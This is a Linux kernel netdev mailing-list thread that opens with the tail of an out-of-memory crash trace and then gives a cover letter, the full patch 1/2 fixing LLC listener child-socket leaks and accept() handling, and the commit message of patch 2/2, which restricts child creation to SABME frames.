[1665.707918][T10284] ? dump_header (arch/x86/include/asm/atomic64_64.h:15 include/linux/atomic/atomic-arch-fallback.h:2583 include/linux/atomic/atomic-long.h:38 include/linux/atomic/atomic-instrumented.h:3189 include/linux/vmstat.h:196 include/linux/vmstat.h:208 mm/oom_kill.c:183 mm/oom_kill.c:473)
[1665.708305][T10284] ? __pfx_panic (kernel/panic.c:288)
[1665.708678][T10284] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:182)
[1665.709132][T10284] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:182)
[1665.709616][T10284] ? out_of_memory (mm/oom_kill.c:1158 (discriminator 1))
[1665.710024][T10284] out_of_memory (mm/oom_kill.c:1158 (discriminator 1))
[1665.710435][T10284] ? __pfx_out_of_memory (mm/oom_kill.c:1114)
[1665.710868][T10284] ? lock_acquire+0x2f/0xb0
[1665.711243][T10284] ? __alloc_pages_noprof (mm/page_alloc.c:4188 mm/page_alloc.c:4478 mm/page_alloc.c:4839)
[1665.711712][T10284] __alloc_pages_noprof (include/linux/vmstat.h:236 (discriminator 1) mm/page_alloc.c:4201 (discriminator 1) mm/page_alloc.c:4478 (discriminator 1) mm/page_alloc.c:4839 (discriminator 1))
[1665.712184][T10284] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:182)
[1665.712658][T10284] ? hlock_class+0x4e/0x130
[1665.713041][T10284] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:182)
[1665.713501][T10284] ? __pfx___alloc_pages_noprof (mm/page_alloc.c:4792)
[1665.713991][T10284] ? __pfx___lock_acquire+0x10/0x10
[1665.714431][T10284] ? __sanitizer_cov_trace_switch+0x54/0x90
[1665.714917][T10284] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:182)
[1665.715381][T10284] ? policy_nodemask (mm/mempolicy.c:1865 (discriminator 1) mm/mempolicy.c:2066 (discriminator 1))
[1665.715788][T10284] alloc_pages_mpol_noprof (include/linux/mm.h:1637)
[1665.716246][T10284] ? __pfx_alloc_pages_mpol_noprof (mm/mempolicy.c:2227)
[1665.716734][T10284] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:182)
[1665.717194][T10284] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:182)
[1665.717656][T10284] ? xas_load (lib/xarray.c:243)
[1665.718005][T10284] ? filemap_get_entry (mm/filemap.c:1850)
[1665.718439][T10284] folio_alloc_noprof (include/linux/instrumented.h:68 include/asm-generic/bitops/instrumented-non-atomic.h:141 include/linux/page-flags.h:829 include/linux/page-flags.h:850 mm/internal.h:703 mm/internal.h:699 mm/mempolicy.c:2356)
[1665.718847][T10284] filemap_alloc_folio_noprof (mm/filemap.c:1511)
[1665.719316][T10284] ? __pfx_filemap_alloc_folio_noprof (mm/filemap.c:996)
[1665.719803][T10284] ? filemap_fault (include/linux/instrumented.h:68 include/asm-generic/bitops/instrumented-non-atomic.h:141 include/linux/page-flags.h:562 mm/filemap.c:3241 mm/filemap.c:3342)
[1665.720231][T10284] __filemap_get_folio (mm/filemap.c:3818)
[1665.720683][T10284] filemap_fault (mm/internal.h:1002 mm/filemap.c:3242 mm/filemap.c:3342)
[1665.721097][T10284] ? __pfx_filemap_fault (mm/filemap.c:3315)
[1665.721534][T10284] ? do_pte_missing+0x165a/0x3ff0
[1665.721944][T10284] ? __pfx_lock_release+0x10/0x10
[1665.722375][T10284] ? __pfx_filemap_map_pages (mm/filemap.c:3645)
[1665.722813][T10284] __do_fault (mm/memory.c:4887)
[1665.723172][T10284] ? __pfx_filemap_map_pages (mm/filemap.c:3645)
[1665.723621][T10284] do_pte_missing+0x174c/0x3ff0
[1665.724026][T10284] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:182)
[1665.724482][T10284] ? reacquire_held_locks+0x20b/0x4c0
[1665.724932][T10284] ? lock_vma_under_rcu (include/linux/mm.h:718 (discriminator 2) mm/memory.c:6266 (discriminator 2))
[1665.725374][T10284] __handle_mm_fault (mm/memory.c:4791 mm/memory.c:3963 mm/memory.c:5789 mm/memory.c:5932)
[1665.725805][T10284] ? __pfx_lock_release+0x10/0x10
[1665.726207][T10284] ? down_read_trylock (kernel/locking/rwsem.c:1604)
[1665.726640][T10284] ? __pfx___handle_mm_fault (mm/memory.c:5841)
[1665.727085][T10284] ? __pfx_down_read_trylock (kernel/locking/rwsem.c:1562)
[1665.727574][T10284] ? __pfx_lock_vma_under_rcu (mm/memory.c:6256)
[1665.728053][T10284] handle_mm_fault (mm/memory.c:2943)
[1665.728479][T10284] do_user_addr_fault (arch/x86/mm/fault.c:441 arch/x86/mm/fault.c:1230)
[1665.728921][T10284] exc_page_fault (arch/x86/include/asm/irqflags.h:37 arch/x86/include/asm/irqflags.h:114 arch/x86/mm/fault.c:1485 arch/x86/mm/fault.c:1534)
[1665.729305][T10284] asm_exc_page_fault (arch/x86/include/asm/idtentry.h:623)
[ 1665.729700][T10284] RIP: 0033:0x559e433ce5cb
[ 1665.730065][T10284] Code: Unable to access opcode bytes at 0x559e433ce5a1.
Code starting with the faulting instruction
===========================================
[ 1665.730594][T10284] RSP: 002b:00007ffcc17c93f0 EFLAGS: 00010206
[ 1665.731148][T10284] RAX: 000000000000003c RBX: 00007ffcc17c9418 RCX: 0000559e433d10c6
[ 1665.731733][T10284] RDX: 000000000000002c RSI: 0000559e433d10c0 RDI: 0000000000000004
[ 1665.732318][T10284] RBP: 00007ffcc17c9412 R08: 00007ffcc17c9420 R09: 0000000000000014
[ 1665.732904][T10284] R10: 0000000000000000 R11: 0000000000000202 R12: 0000559e433d10c6
[ 1665.733491][T10284] R13: d288ce703afb7e91 R14: 0000000000019194 R15: 0000000000000004
[ 1665.734120][T10284] </TASK>
[ 1665.735174][T10284] Kernel Offset: disabled
[ 1665.735576][T10284] Rebooting in 86400 seconds..
-----END crash log-----
Best regards,
Zihan Xi
Zihan Xi (2):
llc: release unaccepted listener child sockets
llc: create listener children only for SABME
include/net/llc_conn.h | 12 +
net/llc/af_llc.c | 35 ++-
net/llc/llc_conn.c | 502 ++++++++++++++++++++++++++++++++++++++---
3 files changed, 513 insertions(+), 36 deletions(-)
--
2.43.0
^ permalink raw reply [flat|nested] 5+ messages in thread
* [PATCH net v13 1/2] llc: release unaccepted listener child sockets
2026-09-30 13:29 [PATCH net v13 0/2] llc: fix listener child socket leaks Zihan Xi
@ 2026-09-30 13:29 ` Zihan Xi
2026-10-04 13:51 ` netdev-bot+sashiko
2026-09-30 13:29 ` [PATCH net v13 2/2] llc: create listener children only for SABME Zihan Xi
1 sibling, 1 reply; 5+ messages in thread
From: Zihan Xi @ 2026-09-30 13:29 UTC (permalink / raw)
To: davem, edumazet, kuba, pabeni
Cc: zihanx, horms, kees, ernestas.k, leitao, tim.bird,
shuangpeng.kernel, luoxuanqiang, netdev, linux-kernel, stable,
Vega, Luxing Yin
Track each passive-open child until it is accepted or released. Child
sockets created for listener traffic are released when setup fails or when
the connection indication is discarded before accept().
Keep socket, SAP, and netdevice references alive through asynchronous child
cleanup. Hold the receive device while packets wait in the listener backlog.
Drop receives for out-of-service children that remain visible to RCU
lookups during SAP removal.
Defer listener frame processing while the listener is owned by userspace.
Create children and update the accept backlog when the listener backlog is
drained, serializing those updates with accept().
Release an unaccepted child as soon as the connection state machine moves it
out of a data-accepting state, so a peer disconnect cannot keep an unusable
child in the listener accept queue.
Synchronously stop LLC timers before releasing SAP and device references.
Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: LLM
Co-developed-by: Luxing Yin <root@tr0jan.top>
Signed-off-by: Luxing Yin <root@tr0jan.top>
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
changes in v13:
- Remove a queued connection indication when an unaccepted child is
released, so DISC/OOS teardown cannot leave a stale accept entry.
- Keep child, SAP, netdevice, timer, and listener references paired
across accept, failure, close, and asynchronous cleanup.
- v12 Link: https://lore.kernel.org/all/cover.1790255682.git.zihanx@nebusec.ai/
---
include/net/llc_conn.h | 12 ++
net/llc/af_llc.c | 35 +++-
net/llc/llc_conn.c | 395 ++++++++++++++++++++++++++++++++++++++---
3 files changed, 409 insertions(+), 33 deletions(-)
diff --git a/include/net/llc_conn.h b/include/net/llc_conn.h
index e1a302696..778e5e6c0 100644
--- a/include/net/llc_conn.h
+++ b/include/net/llc_conn.h
@@ -6,12 +6,18 @@
* 2001, 2002 by Arnaldo Carvalho de Melo <acme@conectiva.com.br>
*/
#include <linux/timer.h>
+#include <linux/workqueue.h>
#include <net/llc_if.h>
#include <net/sock.h>
#include <linux/llc.h>
#define LLC_EVENT 1
#define LLC_PACKET 2
+#define LLC_LISTENER_FRAME 3
+
+#define LLC_INCOMING_NONE 0
+#define LLC_INCOMING_PENDING 1
+#define LLC_INCOMING_QUEUED 2
#define LLC2_P_TIME 2
#define LLC2_ACK_TIME 1
@@ -72,6 +78,9 @@ struct llc_sock {
received and caused sending FRMR.
Used for resending FRMR */
u32 cmsg_flags;
+ atomic_t incoming_state;
+ struct sock *incoming_listener;
+ struct work_struct incoming_work;
struct hlist_node dev_hash_node;
};
@@ -94,6 +103,9 @@ struct sock *llc_sk_alloc(struct net *net, int family, gfp_t priority,
struct proto *prot, int kern);
void llc_sk_stop_all_timers(struct sock *sk, bool sync);
void llc_sk_free(struct sock *sk);
+void llc_release_incoming_sock(struct sock *sk);
+bool llc_accept_incoming_sock(struct sock *sk);
+void llc_release_incoming_children(struct sock *sk);
void llc_sk_reset(struct sock *sk);
diff --git a/net/llc/af_llc.c b/net/llc/af_llc.c
index b0447c33d..6a72a8a60 100644
--- a/net/llc/af_llc.c
+++ b/net/llc/af_llc.c
@@ -27,6 +27,7 @@
#include <net/llc_sap.h>
#include <net/llc_pdu.h>
#include <net/llc_conn.h>
+#include <net/llc_c_st.h>
#include <net/tcp_states.h>
/* remember: uninitialized global data is zeroed because its in .bss */
@@ -194,6 +195,7 @@ static int llc_ui_create(struct net *net, struct socket *sock, int protocol,
*/
static int llc_ui_release(struct socket *sock)
{
+ struct llc_sap *sap = NULL;
struct sock *sk = sock->sk;
struct llc_sock *llc;
@@ -206,19 +208,27 @@ static int llc_ui_release(struct socket *sock)
llc->laddr.lsap, llc->daddr.lsap);
if (!llc_send_disc(sk))
llc_ui_wait_for_disc(sk, READ_ONCE(sk->sk_rcvtimeo));
+ WRITE_ONCE(llc->state, LLC_CONN_OUT_OF_SVC);
+ if (sk->sk_state == TCP_LISTEN)
+ sock_set_flag(sk, SOCK_DEAD);
if (!sock_flag(sk, SOCK_ZAPPED)) {
- struct llc_sap *sap = llc->sap;
+ sap = llc->sap;
/* Hold this for release_sock(), so that llc_backlog_rcv()
* could still use it.
*/
llc_sap_hold(sap);
llc_sap_remove_socket(llc->sap, sk);
+ llc_release_incoming_children(sk);
release_sock(sk);
- llc_sap_put(sap);
} else {
+ llc_release_incoming_children(sk);
release_sock(sk);
}
+ /* Keep timer callbacks from using the SAP or device after they are put. */
+ llc_sk_stop_all_timers(sk, true);
+ if (sap)
+ llc_sap_put(sap);
netdev_put(llc->dev, &llc->dev_tracker);
sock_put(sk);
sock_orphan(sk);
@@ -489,6 +499,9 @@ static int llc_ui_connect(struct socket *sock, struct sockaddr_unsized *uaddr,
goto out;
if (unlikely(sk->sk_type != SOCK_STREAM))
goto out;
+ rc = -EINVAL;
+ if (unlikely(sk->sk_state == TCP_LISTEN))
+ goto out;
rc = -EALREADY;
if (unlikely(sock->state == SS_CONNECTING))
goto out;
@@ -718,10 +731,19 @@ static int llc_ui_accept(struct socket *sock, struct socket *newsock,
llc_sk(sk)->laddr.lsap);
skb = skb_dequeue(&sk->sk_receive_queue);
rc = -EINVAL;
- if (!skb->sk)
+ if (!skb || !skb->sk || skb->sk == sk)
goto frees;
- rc = 0;
newsk = skb->sk;
+ lock_sock_nested(newsk, SINGLE_DEPTH_NESTING);
+ if (!llc_accept_incoming_sock(newsk)) {
+ if (atomic_read(&llc_sk(newsk)->incoming_state) !=
+ LLC_INCOMING_NONE)
+ llc_release_incoming_sock(newsk);
+ release_sock(newsk);
+ rc = -ECONNABORTED;
+ goto frees;
+ }
+ rc = 0;
/* attach connection to a new socket. */
llc_ui_sk_init(newsock, newsk);
sock_reset_flag(newsk, SOCK_ZAPPED);
@@ -734,11 +756,12 @@ static int llc_ui_accept(struct socket *sock, struct socket *newsock,
/* put original socket back into a clean listen state. */
sk->sk_state = TCP_LISTEN;
- sk_acceptq_removed(sk);
dprintk("%s: ok success on %02X, client on %02X\n", __func__,
llc_sk(sk)->addr.sllc_sap, newllc->daddr.lsap);
+ release_sock(newsk);
frees:
- kfree_skb(skb);
+ if (skb)
+ kfree_skb(skb);
out:
release_sock(sk);
return rc;
diff --git a/net/llc/llc_conn.c b/net/llc/llc_conn.c
index 260460d50..349a7c5b9 100644
--- a/net/llc/llc_conn.c
+++ b/net/llc/llc_conn.c
@@ -32,6 +32,7 @@ static int llc_exec_conn_trans_actions(struct sock *sk,
struct sk_buff *ev);
static const struct llc_conn_state_trans *llc_qualify_conn_ev(struct sock *sk,
struct sk_buff *skb);
+static void llc_incoming_sock_work(struct work_struct *work);
/* Offset table on connection states transition diagram */
static int llc_offset_table[NBR_CONN_STATES][NBR_CONN_EV];
@@ -69,6 +70,15 @@ int llc_conn_state_process(struct sock *sk, struct sk_buff *skb)
goto out_skb_put;
}
+ /*
+ * An unaccepted child that leaves a data-accepting state cannot be
+ * delivered by accept(). Release it before processing the indication.
+ */
+ if (unlikely(atomic_read(&llc->incoming_state) ==
+ LLC_INCOMING_QUEUED &&
+ llc_data_accept_state(READ_ONCE(llc->state))))
+ llc_release_incoming_sock(skb->sk);
+
switch (ev->ind_prim) {
case LLC_DATA_PRIM:
skb_get(skb);
@@ -87,7 +97,18 @@ int llc_conn_state_process(struct sock *sk, struct sk_buff *skb)
* Can't be sock_queue_rcv_skb, because we have to leave the
* skb->sk pointing to the newly created struct sock in
* llc_conn_handler. -acme
+ *
+ * A connection indication belongs on the listener. If sk and
+ * skb->sk are the same socket, queueing it would later make
+ * accept() lock that socket against itself.
*/
+ if (sk == skb->sk ||
+ atomic_read(&llc_sk(skb->sk)->incoming_state) !=
+ LLC_INCOMING_PENDING)
+ break;
+ sock_hold(skb->sk);
+ atomic_set(&llc_sk(skb->sk)->incoming_state,
+ LLC_INCOMING_QUEUED);
skb_get(skb);
skb_queue_tail(&sk->sk_receive_queue, skb);
sk->sk_state_change(sk);
@@ -755,37 +776,257 @@ static struct sock *llc_create_incoming_sock(struct sock *sk,
struct llc_addr *saddr,
struct llc_addr *daddr)
{
- struct sock *newsk = llc_sk_alloc(sock_net(sk), sk->sk_family, GFP_ATOMIC,
- sk->sk_prot, 0);
- struct llc_sock *newllc, *llc = llc_sk(sk);
+ struct llc_sock *llc = llc_sk(sk);
+ struct llc_sock *newllc;
+ struct sock *newsk;
+ newsk = llc_sk_alloc(sock_net(sk), sk->sk_family, GFP_ATOMIC,
+ sk->sk_prot, 0);
if (!newsk)
- goto out;
+ return NULL;
+
newllc = llc_sk(newsk);
memcpy(&newllc->laddr, daddr, sizeof(newllc->laddr));
memcpy(&newllc->daddr, saddr, sizeof(newllc->daddr));
newllc->dev = dev;
- dev_hold(dev);
+ newllc->incoming_listener = sk;
+ atomic_set(&newllc->incoming_state, LLC_INCOMING_PENDING);
+ INIT_WORK(&newllc->incoming_work, llc_incoming_sock_work);
+ sock_hold(sk);
+ netdev_hold(dev, &newllc->dev_tracker, GFP_ATOMIC);
+ /* Lock the child before publishing it in the SAP hash. */
+ bh_lock_sock_nested(newsk);
llc_sap_add_socket(llc->sap, newsk);
-out:
+
return newsk;
}
+static int llc_conn_rcv_listener(struct sock *sk, struct sk_buff *skb,
+ struct llc_addr *saddr,
+ struct llc_addr *daddr)
+{
+ struct sock *newsk;
+ int rc = 0;
+
+ local_bh_disable();
+ newsk = __llc_lookup_established(llc_sk(sk)->sap, saddr, daddr,
+ dev_net(skb->dev));
+ if (newsk) {
+ sock_put(newsk);
+ goto drop;
+ }
+ if (sk_acceptq_is_full(sk))
+ goto drop;
+
+ newsk = llc_create_incoming_sock(sk, skb->dev, saddr, daddr);
+ if (!newsk)
+ goto drop;
+ sk_acceptq_added(sk);
+ if (!skb_set_owner_sk_safe(skb, newsk)) {
+ if (atomic_read(&llc_sk(newsk)->incoming_state) ==
+ LLC_INCOMING_PENDING)
+ llc_release_incoming_sock(newsk);
+ bh_unlock_sock(newsk);
+ goto drop;
+ }
+
+ rc = llc_conn_rcv(sk, skb);
+ if (atomic_read(&llc_sk(newsk)->incoming_state) ==
+ LLC_INCOMING_PENDING)
+ llc_release_incoming_sock(newsk);
+ bh_unlock_sock(newsk);
+ local_bh_enable();
+ return rc;
+
+drop:
+ kfree_skb(skb);
+ local_bh_enable();
+ return rc;
+}
+
+static void llc_incoming_sock_work(struct work_struct *work)
+{
+ struct net_device *dev;
+ struct sock *listener;
+ struct llc_sock *llc;
+ struct llc_sap *sap;
+ struct sock *sk;
+
+ llc = container_of(work, struct llc_sock, incoming_work);
+ sk = &llc->sk;
+ sap = llc->sap;
+ lock_sock(sk);
+ sock_orphan(sk);
+ release_sock(sk);
+ llc_sk_stop_all_timers(sk, true);
+ dev = llc->dev;
+ llc->dev = NULL;
+ listener = xchg(&llc->incoming_listener, NULL);
+ netdev_put(dev, &llc->dev_tracker);
+ llc_sk_free(sk);
+ llc_sap_put(sap);
+ if (listener) {
+ lock_sock(listener);
+ sk_acceptq_removed(listener);
+ release_sock(listener);
+ sock_put(listener);
+ }
+}
+
+static void llc_remove_incoming_skb(struct sock *sk)
+{
+ struct sk_buff *skb, *next;
+ struct sk_buff_head purge;
+ struct sock *listener;
+ unsigned long flags;
+
+ listener = READ_ONCE(llc_sk(sk)->incoming_listener);
+ if (!listener)
+ return;
+
+ __skb_queue_head_init(&purge);
+ spin_lock_irqsave(&listener->sk_receive_queue.lock, flags);
+ skb_queue_walk_safe(&listener->sk_receive_queue, skb, next) {
+ if (skb->sk != sk)
+ continue;
+ __skb_unlink(skb, &listener->sk_receive_queue);
+ __skb_queue_tail(&purge, skb);
+ }
+ spin_unlock_irqrestore(&listener->sk_receive_queue.lock, flags);
+ __skb_queue_purge(&purge);
+}
+
+void llc_release_incoming_sock(struct sock *sk)
+{
+ struct llc_sock *llc = llc_sk(sk);
+ int incoming_state;
+
+ incoming_state = atomic_xchg(&llc->incoming_state,
+ LLC_INCOMING_NONE);
+ if (incoming_state == LLC_INCOMING_NONE)
+ return;
+
+ WRITE_ONCE(llc->state, LLC_CONN_OUT_OF_SVC);
+ if (incoming_state == LLC_INCOMING_QUEUED) {
+ llc_remove_incoming_skb(sk);
+ sock_put(sk);
+ }
+ llc_sap_hold(llc->sap);
+ llc_sap_remove_socket(llc->sap, sk);
+ schedule_work(&llc->incoming_work);
+}
+
+bool llc_accept_incoming_sock(struct sock *sk)
+{
+ struct llc_sock *llc = llc_sk(sk);
+ struct sock *listener;
+
+ if (unlikely(llc_data_accept_state(READ_ONCE(llc->state)))) {
+ llc_release_incoming_sock(sk);
+ return false;
+ }
+
+ if (atomic_cmpxchg(&llc->incoming_state, LLC_INCOMING_QUEUED,
+ LLC_INCOMING_NONE) != LLC_INCOMING_QUEUED)
+ return false;
+
+ listener = xchg(&llc->incoming_listener, NULL);
+ if (listener) {
+ sk_acceptq_removed(listener);
+ sock_put(listener);
+ }
+ sock_put(sk);
+ return true;
+}
+
+void llc_release_incoming_children(struct sock *sk)
+{
+ struct sk_buff *skb;
+ struct sock *child;
+
+ local_bh_disable();
+ while ((skb = skb_dequeue(&sk->sk_receive_queue))) {
+ child = skb->sk;
+
+ if (child && child != sk) {
+ bh_lock_sock_nested(child);
+ if (atomic_read(&llc_sk(child)->incoming_state) !=
+ LLC_INCOMING_NONE)
+ llc_release_incoming_sock(child);
+ bh_unlock_sock(child);
+ }
+ kfree_skb(skb);
+ }
+ local_bh_enable();
+}
+
void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
{
+ struct net_device *backlog_dev = NULL;
+ struct sock *newsk = NULL, *sk;
+ bool newsk_lookup_ref = false;
struct llc_addr saddr, daddr;
- struct sock *sk;
+ bool listener_frame = false;
+ bool newsk_locked = false;
llc_pdu_decode_sa(skb, saddr.mac);
llc_pdu_decode_ssap(skb, &saddr.lsap);
llc_pdu_decode_da(skb, daddr.mac);
llc_pdu_decode_dsap(skb, &daddr.lsap);
+lookup:
sk = __llc_lookup(sap, &saddr, &daddr, dev_net(skb->dev));
if (!sk)
goto drop;
+ if (atomic_read(&llc_sk(sk)->incoming_state) ==
+ LLC_INCOMING_PENDING) {
+ newsk = sk;
+ bh_lock_sock(newsk);
+ if (atomic_read(&llc_sk(newsk)->incoming_state) !=
+ LLC_INCOMING_PENDING) {
+ bh_unlock_sock(newsk);
+ sock_put(newsk);
+ newsk = NULL;
+ goto lookup;
+ }
+ sk = llc_sk(newsk)->incoming_listener;
+ sock_hold(sk);
+ newsk_lookup_ref = true;
+ bh_unlock_sock(newsk);
+ }
+
bh_lock_sock(sk);
+ if (!newsk_lookup_ref &&
+ unlikely(READ_ONCE(llc_sk(sk)->state) == LLC_CONN_OUT_OF_SVC))
+ goto drop_unlock;
+ if (unlikely(sk->sk_state == TCP_LISTEN &&
+ sock_flag(sk, SOCK_DEAD) &&
+ !newsk_lookup_ref))
+ goto drop_unlock;
+ if (newsk_lookup_ref) {
+ bh_lock_sock_nested(newsk);
+ newsk_locked = true;
+ if (atomic_read(&llc_sk(newsk)->incoming_state) !=
+ LLC_INCOMING_PENDING)
+ goto retry_unlock;
+ if (unlikely(sk->sk_state != TCP_LISTEN ||
+ sock_flag(sk, SOCK_DEAD))) {
+ llc_release_incoming_sock(newsk);
+ goto drop_unlock;
+ }
+ }
+ /* SAP unhash is RCU; a torn-down socket may still be looked up. */
+ if (newsk &&
+ READ_ONCE(llc_sk(newsk)->state) == LLC_CONN_OUT_OF_SVC) {
+ llc_release_incoming_sock(newsk);
+ goto drop_unlock;
+ }
+ /* Keep a queued indication accounted until accept() or close. */
+ if (!newsk &&
+ atomic_read(&llc_sk(sk)->incoming_state) == LLC_INCOMING_QUEUED &&
+ READ_ONCE(llc_sk(sk)->state) == LLC_CONN_OUT_OF_SVC)
+ goto drop_unlock;
/*
* This has to be done here and not at the upper layer ->accept
* method because of the way the PROCOM state machine works:
@@ -795,11 +1036,22 @@ void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
* in the newly created struct sock private area. -acme
*/
if (unlikely(sk->sk_state == TCP_LISTEN)) {
- struct sock *newsk = llc_create_incoming_sock(sk, skb->dev,
- &saddr, &daddr);
- if (!newsk)
+ if (!newsk) {
+ if (sock_owned_by_user(sk)) {
+ skb_orphan(skb);
+ llc_set_backlog_type(skb, LLC_LISTENER_FRAME);
+ listener_frame = true;
+ goto enqueue;
+ }
+ llc_conn_rcv_listener(sk, skb, &saddr, &daddr);
+ goto out;
+ }
+ if (!skb_set_owner_sk_safe(skb, newsk)) {
+ if (atomic_read(&llc_sk(newsk)->incoming_state) ==
+ LLC_INCOMING_PENDING)
+ llc_release_incoming_sock(newsk);
goto drop_unlock;
- skb_set_owner_r(skb, newsk);
+ }
} else {
/*
* Can't be skb_set_owner_r, this will be done at the
@@ -813,18 +1065,45 @@ void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
skb->sk = sk;
skb->destructor = sock_efree;
}
- if (!sock_owned_by_user(sk))
+enqueue:
+ if (!sock_owned_by_user(sk)) {
llc_conn_rcv(sk, skb);
- else {
+ if (newsk &&
+ atomic_read(&llc_sk(newsk)->incoming_state) ==
+ LLC_INCOMING_PENDING)
+ llc_release_incoming_sock(newsk);
+ } else {
dprintk("%s: adding to backlog...\n", __func__);
- llc_set_backlog_type(skb, LLC_PACKET);
- if (sk_add_backlog(sk, skb, READ_ONCE(sk->sk_rcvbuf)))
+ if (!listener_frame)
+ llc_set_backlog_type(skb, LLC_PACKET);
+ backlog_dev = skb->dev;
+ netdev_hold(backlog_dev, NULL, GFP_ATOMIC);
+ if (sk_add_backlog(sk, skb, READ_ONCE(sk->sk_rcvbuf))) {
+ netdev_put(backlog_dev, NULL);
+ if (newsk &&
+ atomic_read(&llc_sk(newsk)->incoming_state) ==
+ LLC_INCOMING_PENDING)
+ llc_release_incoming_sock(newsk);
goto drop_unlock;
+ }
}
out:
+ if (newsk_locked)
+ bh_unlock_sock(newsk);
bh_unlock_sock(sk);
sock_put(sk);
+ if (newsk_lookup_ref)
+ sock_put(newsk);
return;
+retry_unlock:
+ bh_unlock_sock(newsk);
+ newsk_locked = false;
+ bh_unlock_sock(sk);
+ sock_put(sk);
+ sock_put(newsk);
+ newsk = NULL;
+ newsk_lookup_ref = false;
+ goto lookup;
drop:
kfree_skb(skb);
return;
@@ -850,29 +1129,89 @@ static atomic_t llc_sock_nr;
*/
static int llc_backlog_rcv(struct sock *sk, struct sk_buff *skb)
{
- int rc = 0;
+ struct net_device *backlog_dev = NULL;
struct llc_sock *llc = llc_sk(sk);
+ struct sock *child = skb->sk;
+ struct llc_addr saddr, daddr;
+ struct llc_sock *childllc;
+ bool child_locked = false;
+ int incoming_state;
+ int rc = 0;
- if (likely(llc_backlog_type(skb) == LLC_PACKET)) {
- if (likely(llc->state > 1)) /* not closed */
- rc = llc_conn_rcv(sk, skb);
- else
- goto out_kfree_skb;
+ if (llc_backlog_type(skb) == LLC_LISTENER_FRAME) {
+ backlog_dev = skb->dev;
+ if (unlikely(child || sk->sk_state != TCP_LISTEN ||
+ sock_flag(sk, SOCK_DEAD)))
+ goto drop;
+ llc_pdu_decode_sa(skb, saddr.mac);
+ llc_pdu_decode_ssap(skb, &saddr.lsap);
+ llc_pdu_decode_da(skb, daddr.mac);
+ llc_pdu_decode_dsap(skb, &daddr.lsap);
+ rc = llc_conn_rcv_listener(sk, skb, &saddr, &daddr);
+ goto out;
+ } else if (likely(llc_backlog_type(skb) == LLC_PACKET)) {
+ backlog_dev = skb->dev;
+ if (child && child != sk) {
+ local_bh_disable();
+ bh_lock_sock_nested(child);
+ child_locked = true;
+ }
+ if (child && child != sk) {
+ childllc = llc_sk(child);
+ incoming_state = atomic_read(&childllc->incoming_state);
+
+ if (incoming_state == LLC_INCOMING_PENDING) {
+ if (sock_flag(sk, SOCK_DEAD) ||
+ sk->sk_state != TCP_LISTEN ||
+ READ_ONCE(childllc->state) == LLC_CONN_OUT_OF_SVC) {
+ llc_release_incoming_sock(child);
+ goto drop;
+ }
+ rc = llc_conn_rcv(sk, skb);
+ if (atomic_read(&childllc->incoming_state) ==
+ LLC_INCOMING_PENDING)
+ llc_release_incoming_sock(child);
+ } else if (incoming_state == LLC_INCOMING_QUEUED) {
+ /* Keep the indication accounted until accept() or close. */
+ if (READ_ONCE(childllc->state) == LLC_CONN_OUT_OF_SVC)
+ goto drop;
+ rc = llc_conn_rcv(child, skb);
+ } else {
+ goto drop;
+ }
+ } else {
+ if (likely(llc->state > 1)) /* not closed */
+ rc = llc_conn_rcv(sk, skb);
+ else
+ goto drop;
+ }
} else if (llc_backlog_type(skb) == LLC_EVENT) {
/* timer expiration event */
- if (likely(llc->state > 1)) /* not closed */
+ if (likely(llc->state > 1)) /* not closed */
rc = llc_conn_state_process(sk, skb);
else
- goto out_kfree_skb;
+ goto drop;
} else {
printk(KERN_ERR "%s: invalid skb in backlog\n", __func__);
- goto out_kfree_skb;
+ goto drop;
}
out:
+ if (child_locked) {
+ bh_unlock_sock(child);
+ local_bh_enable();
+ }
+ if (backlog_dev)
+ netdev_put(backlog_dev, NULL);
return rc;
-out_kfree_skb:
+drop:
+ if (child_locked) {
+ bh_unlock_sock(child);
+ local_bh_enable();
+ }
kfree_skb(skb);
- goto out;
+ if (backlog_dev)
+ netdev_put(backlog_dev, NULL);
+ return rc;
}
/**
@@ -905,6 +1244,8 @@ static void llc_sk_init(struct sock *sk)
llc->k = 2; /* tx win size, will adjust dynam */
llc->rw = 128; /* rx win size (opt and equal to
* tx_win of remote LLC) */
+ atomic_set(&llc->incoming_state, LLC_INCOMING_NONE);
+ llc->incoming_listener = NULL;
skb_queue_head_init(&llc->pdu_unack_q);
sk->sk_backlog_rcv = llc_backlog_rcv;
}
@@ -967,7 +1308,7 @@ void llc_sk_free(struct sock *sk)
{
struct llc_sock *llc = llc_sk(sk);
- llc->state = LLC_CONN_OUT_OF_SVC;
+ WRITE_ONCE(llc->state, LLC_CONN_OUT_OF_SVC);
/* Stop all (possibly) running timers */
llc_sk_stop_all_timers(sk, true);
#ifdef DEBUG_LLC_CONN_ALLOC
--
2.43.0
^ permalink raw reply [flat|nested] 5+ messages in thread
* [PATCH net v13 2/2] llc: create listener children only for SABME
2026-09-30 13:29 [PATCH net v13 0/2] llc: fix listener child socket leaks Zihan Xi
2026-09-30 13:29 ` [PATCH net v13 1/2] llc: release unaccepted listener child sockets Zihan Xi
@ 2026-09-30 13:29 ` Zihan Xi
2026-10-04 13:52 ` netdev-bot+sashiko
1 sibling, 1 reply; 5+ messages in thread
From: Zihan Xi @ 2026-09-30 13:29 UTC (permalink / raw)
To: davem, edumazet, kuba, pabeni
Cc: zihanx, horms, kees, ernestas.k, leitao, tim.bird,
shuangpeng.kernel, luoxuanqiang, netdev, linux-kernel, stable,
Vega, Luxing Yin
The listener receive path should not allocate a passive-open child for
frames that cannot establish a connection. Create children only for SABME
commands, answer DISC and other P=1 commands with DM from the listener, and
drop other non-SABME frames.
Classify frames before backlog admission, and send deferred duplicate SABMEs
to the existing child. If that child is user-owned, defer the retransmission
on its backlog while holding the receive device. This prevents one peer
connection from creating multiple children and preserves SABME retry
handling.
Reject backlog packets without a valid LLC socket owner before dispatching
them to the state machine.
